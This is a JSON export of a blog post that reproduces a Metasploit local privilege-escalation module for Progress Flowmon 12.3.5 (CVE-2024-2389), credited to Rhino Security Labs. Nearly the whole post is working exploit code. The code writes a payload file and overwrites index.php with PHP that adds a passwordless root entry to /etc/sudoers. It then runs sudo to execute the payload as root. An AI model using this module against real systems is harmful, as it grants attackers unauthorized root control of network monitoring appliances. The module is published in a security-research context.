{"id":57153,"date":"2024-05-30T15:11:40","date_gmt":"2024-05-30T11:11:40","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178870\/progress_flowmon_sudo_privesc_2024.rb.txt"},"modified":"2024-05-30T15:11:40","modified_gmt":"2024-05-30T11:11:40","slug":"progress-flowmon-12-3-5-local-sudo-privilege-escalation","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/progress-flowmon-12-3-5-local-sudo-privilege-escalation\/","title":{"rendered":"Progress Flowmon 12.3.5 Local sudo Privilege Escalation"},"content":{"rendered":"<p># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Local<br \/>Rank = ExcellentRanking<\/p>\n<p>include Msf::Exploit::EXE<br \/>include Msf::Exploit::FileDropper<br \/>include Msf::Post::File<\/p>\n<p>prepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Progress Flowmon Local sudo privilege escalation&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module abuses a feature of the sudo command on Progress Flowmon.<br \/>Certain binary files are allowed to automatically elevate<br \/>with the sudo command. This is based off of the file name. This<br \/>includes executing a PHP command with a specific file name. If the<br \/>file is overwritten with PHP code it can be used to elevate privileges<br \/>to root. Progress Flowmon up to at least version 12.3.5 is vulnerable.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Dave Yesland with Rhino Security Labs&#8217;,<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/rhinosecuritylabs.com\/research\/cve-2024-2389-in-progress-flowmon\/&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/support.kemptechnologies.com\/hc\/en-us\/articles\/24878235038733-CVE-2024-2389-Flowmon-critical-security-vulnerability&#8217;]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-03-19&#8217;,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [ CRASH_SAFE ],<br \/>&#8216;SideEffects&#8217; =&gt; [ IOC_IN_LOGS, ARTIFACTS_ON_DISK],<br \/>&#8216;Reliability&#8217; =&gt; [ REPEATABLE_SESSION ]},<br \/>&#8216;SessionTypes&#8217; =&gt; [&#8216;shell&#8217;, &#8216;meterpreter&#8217;],<br \/>&#8216;Platform&#8217; =&gt; [&#8216;unix&#8217;, &#8216;linux&#8217;],<br \/>&#8216;Arch&#8217; =&gt; [ARCH_X86, ARCH_X64],<br \/>&#8216;Targets&#8217; =&gt; [[&#8216;Automatic&#8217;, {}]],<br \/>&#8216;Privileged&#8217; =&gt; true<br \/>)<br \/>)<br \/>register_options([<br \/>OptString.new(&#8216;WRITABLE_DIR&#8217;, [ true, &#8216;A directory where we can write files&#8217;, &#8216;\/tmp&#8217; ]),<br \/>])<br \/>end<\/p>\n<p>def check<br \/>score = 0<br \/>score += 1 if read_file(&#8216;\/var\/www\/shtml\/index.php&#8217;)&amp;.include?(&#8216;FlowMon&#8217;)<br \/>score += 1 if read_file(&#8216;\/var\/www\/shtml\/ui\/manifest.json&#8217;)&amp;.include?(&#8216;Flowmon Web Interface&#8217;)<br \/>score += 1 if exists?(&#8216;\/var\/www\/shtml\/translate.php&#8217;)<br \/>vprint_status(&#8220;Found #{score} indicators this is a Progress Flowmon product&#8221;)<br \/>return CheckCode::Detected if score &gt; 0<\/p>\n<p>return CheckCode::Safe<br \/>end<\/p>\n<p>def on_new_session(session)<br \/>super<br \/>print_status(&#8216;Cleaning up addition to \/etc\/sudoers&#8217;)<br \/>if session.type.to_s.eql? &#8216;meterpreter&#8217;<br \/>session.sys.process.execute &#8216;\/bin\/sh&#8217;, &#8220;-c \\&#8221;sed -i &#8216;\/^ADMINS ALL=(ALL) NOPASSWD: ALL$\/d&#8217; \/etc\/sudoers\\&#8221;&#8221;<br \/>elsif session.type.to_s.eql? &#8216;shell&#8217;<br \/>session.shell_command_token &#8216;sed -i \\&#8217;\/^ADMINS ALL=(ALL) NOPASSWD: ALL$\/d\\&#8217; \/etc\/sudoers&#8217;<br \/>end<br \/>end<\/p>\n<p>def cleanup<br \/>super<br \/>unless @index_php_contents.blank?<br \/>print_status(&#8216;Restoring \/var\/www\/shtml\/index.php file contents&#8230;&#8217;)<br \/>file_rm(&#8216;\/var\/www\/shtml\/index.php&#8217;)<br \/>write_file(&#8216;\/var\/www\/shtml\/index.php&#8217;, @index_php_contents)<br \/>end<br \/>end<\/p>\n<p>def exploit<br \/>@index_php_contents = &#8221;<br \/>fail_with(Failure::BadConfig, &#8220;#{datastore[&#8216;WRITABLE_DIR&#8217;]} is not writable&#8221;) unless writable?(datastore[&#8216;WRITABLE_DIR&#8217;])<br \/>exploit_file = &#8220;#{datastore[&#8216;WRITABLE_DIR&#8217;]}\/.#{Rex::Text.rand_text_alpha_lower(6..12)}&#8221;<\/p>\n<p>vprint_status(&#8220;Saving payload as #{exploit_file}&#8221;)<br \/>write_file(exploit_file, generate_payload_exe)<br \/>chmod(exploit_file)<br \/>register_file_for_cleanup(exploit_file)<br \/>@index_php_contents = read_file(&#8216;\/var\/www\/shtml\/index.php&#8217;)<br \/>print_status(&#8216;Overwriting \/var\/www\/shtml\/index.php with payload&#8217;)<br \/>cmd_exec(&#8216;echo \\'&lt;?php system(&#8220;echo \\\\&#8221;ADMINS ALL=(ALL) NOPASSWD: ALL\\\\&#8221; &gt;&gt; \/etc\/sudoers&#8221;); ?&gt;\\&#8217; &gt; \/var\/www\/shtml\/index.php;&#8217;)<br \/>print_status(&#8216;Executing sudo to elevate privileges&#8217;)<br \/>cmd_exec(&#8216;sudo \/usr\/bin\/php \/var\/www\/shtml\/index.php Cli\\\\:AddNewSource s;&#8217;)<br \/>cmd_exec(&#8220;sudo &#8216;#{exploit_file}'&#8221;)<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p># This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::LocalRank = ExcellentRanking include Msf::Exploit::EXEinclude Msf::Exploit::FileDropperinclude Msf::Post::File prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Progress Flowmon Local sudo privilege escalation&#8217;,&#8216;Description&#8217; =&gt; %q{This module abuses a feature of the sudo command on Progress Flowmon.Certain binary files are allowed to automatically elevatewith the sudo command. &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57153","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57153","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57153"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57153\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57153"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57153"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57153"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}